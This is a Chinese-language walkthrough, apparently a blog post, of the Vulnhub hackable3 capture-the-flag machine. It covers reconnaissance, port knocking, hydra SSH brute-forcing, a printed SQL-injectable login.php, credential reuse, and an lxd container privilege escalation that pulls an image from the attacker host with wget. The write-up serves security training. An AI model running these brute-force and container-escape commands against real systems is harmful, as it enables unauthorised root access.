Vulnhub靶机:hackable3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hackable3(10.0.2.53)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hackable-iii,720/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.53

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:22、80

在这里插入图片描述

打开网站未发现可利用的功能点,查看源码发现隐藏信息

“Please, jubiscleudo, don’t forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com”

翻译:“拜托了,jubiscleudo,别忘了在离开你的区域时激活端口敲门,并告诉老板不要忘记批准.jpg文件——dev_suport@hackable3.com”

在这里插入图片描述

根据nmap扫描结果22端口关闭了,应该要使用敲门服务打开22端口

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

使用dirsearch工具对该网站进行目录爆破,对爆破出来的目录和文件都访问一遍

dirsearch -u http://10.0.2.53/

在这里插入图片描述

发现/backup/目录存在一个字典文件

在这里插入图片描述
在这里插入图片描述

发现/config/目录存在一个1.txt文件,里面存在一段被base64加密的数据:MTAwMDA=,解密得到:10000

在这里插入图片描述
在这里插入图片描述

发现/css/目录存在一个2.txt文件,里面存在一段被Brainfuck加密的数据:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,解密得到:4444

在这里插入图片描述
在这里插入图片描述

访问/login.php,发现页面是空白的,查看源码,发现暴露该文件的所有源代码

在这里插入图片描述

?php
include('config.php');

$usuario = $_POST['user'];
$senha = $_POST['pass'];

$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'";  

$result = mysqli_query($conexao, $query);

$row = mysqli_num_rows($result);


#validação conta
if($row == 1) {
	$_SESSION['usuario'] = $usuario;
	header('Location: 3.jpg');
	exit();
} else {
	$_SESSION['nao_autenticado'] = true;
	header('Location: login_page/login.html');
	exit();
}

?

该文件是获取用户名密码登录,登录后返回3.jpg文件,我们直接访问3.jpg,将该图片下载下来,查看是否存在隐写信息

在这里插入图片描述

存在隐写信息:porta:65535

在这里插入图片描述

根据获得端口信息的顺序,进行端口敲门,发现22端口已开放

knock 10.0.2.53 10000 4444 65535                                

在这里插入图片描述

三、漏洞利用

使用得到的用户名:jubiscleudo和密码字典爆破ssh,爆破得到密码:onlymy

hydra -l jubiscleudo -P passwd.txt 10.0.2.53 ssh -t 64

在这里插入图片描述

登录ssh

在这里插入图片描述

四、提权

在靶机上未发现特权命令和可利用的具有root权限的可执行文件

翻一翻靶机各个文件夹,看看有没有可利用的文件或信息

在网站所属目录,发现.backup_config.php

在这里插入图片描述

查看该文件发现一组用户名和密码:hackable_3:TrOLLED_3

在这里插入图片描述

尝试切换为hackable_3用户,切换成功

在这里插入图片描述

id命令查看该用户所属组,发现lxd组,并且靶机lxd,lxc两个二进制文件还存在

在这里插入图片描述

可以尝试lxd提权

攻击机操作:

通过git将构建好的alpine镜像克隆至本地;

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;我这边就使用之前构建好的镜像进行提权。

cd lxd-alpine-builder   
sudo ./build-alpine

在这里插入图片描述

开启apache服务,将tar文件发送至目标设备;

service apache2 start               

靶机操作:

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

在这里插入图片描述

导入镜像并初始化镜像

lxc image import ./alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test
lxd init  #一路回车
lxc init test test -c security.privileged=true 初始化镜像

在这里插入图片描述

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

  • 17
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huang0c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值